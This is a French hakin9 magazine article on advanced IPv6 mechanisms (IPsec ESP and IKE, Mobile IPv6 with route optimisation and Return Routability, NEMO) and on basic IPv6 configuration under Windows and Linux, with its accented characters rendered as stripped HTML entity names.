Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

table 2 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour AH en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de AH (51) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule Aucune modification

5201044

Pratique

deacutechanges de cleacutes les paramegravetres dassociations de seacutecuriteacute agrave neacutegocier hellip

bull les cleacutes utiles lors de lauthentification mutuelle des eacutequipements IPsec qui intervient en preacutealable agrave toute neacutegociation dassociation de seacutecuriteacute Ces cleacutes peu-vent ecirctre des cleacutes partageacutees (pre-shared key) preacutecon-figureacutees par ladministrateur ou des cleacutes priveacuteespubli-ques personnelles agrave chaque eacutequipement IPsec et preacute-chargeacutees dans les eacutequipements ou encore un certifi-cat eacutelectronique geacutereacute par une infrastructure agrave cleacutes pu-bliques (PKI Public Key Infrastructure)

A lrsquoheure actuelle deux versions cohabitent IKEv1 tregraves complexe et IKEv2 qui en est une version simplifieacutee pour sa mise en œuvre ainsi que par son meacutecanisme

Mobiliteacute de Machines MiPv6En termes de mobiliteacute deux meacutecanismes principaux se distinguent la micro-mobiliteacute et la macro-mobiliteacute La micro-mobiliteacute est celle utiliseacutee entre autres par le wifi Les entiteacutes en cours de deacuteplacement sassocient de nouveau agrave des stations de base et conservent leur possibiliteacute de connectiviteacute au sein drsquoun domaine Cette gestion des handovers est relativement fine et limite la signalisation au sein du reacuteseau Ces meacutecanismes sont cependant peu efficaces au sein de plusieurs domai-nes En effet les adresses IP sont dans ce dernier cas reneacutegocieacutees pour mapper au domaine et pouvoir ainsi ecirctre routables

La macro-mobiliteacute reacutesout ce problegraveme en conservant une connectiviteacute IP mecircme lors drsquoun changement de do-maine Les adresses IP originelles continuent drsquoecirctre uti-liseacutees lors des communications De mecircme les sessions TCP peuvent ainsi rester fonctionnelles lors drsquoun deacutepla-cement entre domaines IPv6 integravegre ce concept dans le protocole MIPv6 (Mobile IPv6)

ConceptsAvant de poursuivre il convient de deacutefinir les mots cleacutes principaux utiliseacutes par MIPv6

bull Reacuteseau Megravere reacuteseau auquel la machine appar-tient initialement

bull Nœud correspondant machine dialoguant avec le mobile

bull Home Address adresse IPv6 dans le reacuteseau megraverebull Care-of Address adresse IPv6 dans le reacuteseau visiteacutebull Agent Megravere machine du reacuteseau megravere servant drsquoin-

terface entre le mobile et le nœud correspondant

MIPv6 utilise intensivement la notion de tunnels Scheacute-matiquement les paquets transmis par le mobile dans un reacuteseau eacutetranger passent par lrsquoAgent Megravere preacutesent dans le reacuteseau megravere avant drsquoecirctre retransmis au Nœud corres-pondant Le chemin de retour est identique Le routage sous-jacent apporte le paquet jusqursquoagrave lrsquoAgent Megravere qui le retransmet au mobile dans son reacuteseau visiteacute

Lrsquoagent megravere doit eacutegalement ecirctre capable agrave tout mo-ment de localiser ses mobiles en deacuteplacement Il utilise pour cela un cache baptiseacute Binding Cache associant Home Address et Care-of Address de ses diffeacuterents mo-biles Un meacutecanisme de signalisation proteacutegeacute par IPsec en mode ESP est par conseacutequent utiliseacute pour mettre agrave jour ce cache Il ne sera pas fait eacutetat des paquets MIPv6 ici il srsquoagit simplement de savoir que cette mise agrave jour srsquoeffectue agrave lrsquoaide de paquets particuliers nommeacutes Bin-ding Update Ceux-ci sont geacuteneacuteralement acquitteacutes par lrsquoAgent Megravere par des Binding Acknowledgment

Lrsquoensemble des meacutecanismes basiques de MIPv6 se situe au niveau de la couche IP dans le modegravele TCPIP Ils ont eacuteteacute modeleacutes pour permettre une communication avec des entiteacutes nrsquoayant pas conscience des protoco-les de mobiliteacute Ils nont aucun effet sur les couches de

table 3 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte ESP

Champs Taille RocircleSPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave

utiliser

Sequence Number 32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le rejeu

IV VariableSelon lrsquoalgorithme usiteacute

Vecteur drsquoinitialisation eacuteventuel pour les algorithmes de chiffrement

TFC Padding Variable Traffic Flow Confidentiality Utiliseacute pour une protection contre les attaques statistiques

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte ESP est un multiple de 64 bits (32 bits pour IPv4)

Pad Length 8 bits Indique la taille du champ Padding en octets

Next Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine extension drsquoen-tecircte Similaire au champ Protocol en IPv4

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 45

niveau transport et applicative Pour le correspondant cette communication est totalement transparente

Mobiliteacute de Machines MiP6Le mobile situeacute dans son reacuteseau megravere utilise sa Home Address pour dialoguer de maniegravere classique avec des Nœuds correspondants Lorsqursquoil se deacuteplace dans un reacuteseau visiteacute la proceacutedure est la suivante

bull Le mobile obtient une nouvelle adresse IP par com-binaison de son adresse MAC et du nouveau preacute-fixe reacuteseau la Care-of Address Il dispose toujours de sa Home Address

bull Le mobile transmet un Binding Update agrave lrsquoagent megravere afin de mettre agrave jour son cache drsquoassociation Ce paquet eacutetant proteacutegeacute par IPsec en mode ESP lrsquoauthentification lrsquoanti-rejeu la confidentialiteacute et lrsquoin-teacutegriteacute sont assureacutes

bull Lrsquoagent megravere aura alors agrave charge de capturer les paquets auparativement transmis au mobile II uti-lise dans cette optique les possibiliteacutes offertes par le protocole de deacutecouverte des voisins (Neighbor Discovery) en annonccedilant son adresse MAC com-me destinataire de lrsquoensemble des paquets unicast agrave destination du mobile Les caches NDP des ma-chines preacutesentent sur le lien megravere seront ainsi re-mis agrave jour

bull Lorsque le mobile souhaite dialoguer avec un nœud correspondant il peut choir drsquoutiliser son nouvel adres-sage ou de masquer sa mobiliteacute par lrsquoutilisation de sa Home Address Dans ce dernier cas il construit un tunnel ESP avec son Agent Megravere et encapsule les pa-quets agrave destination de son correspondant Lrsquoadresse source de la partie interne est ainsi la Home Address lrsquoadresse destination est celle du correspondant

bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

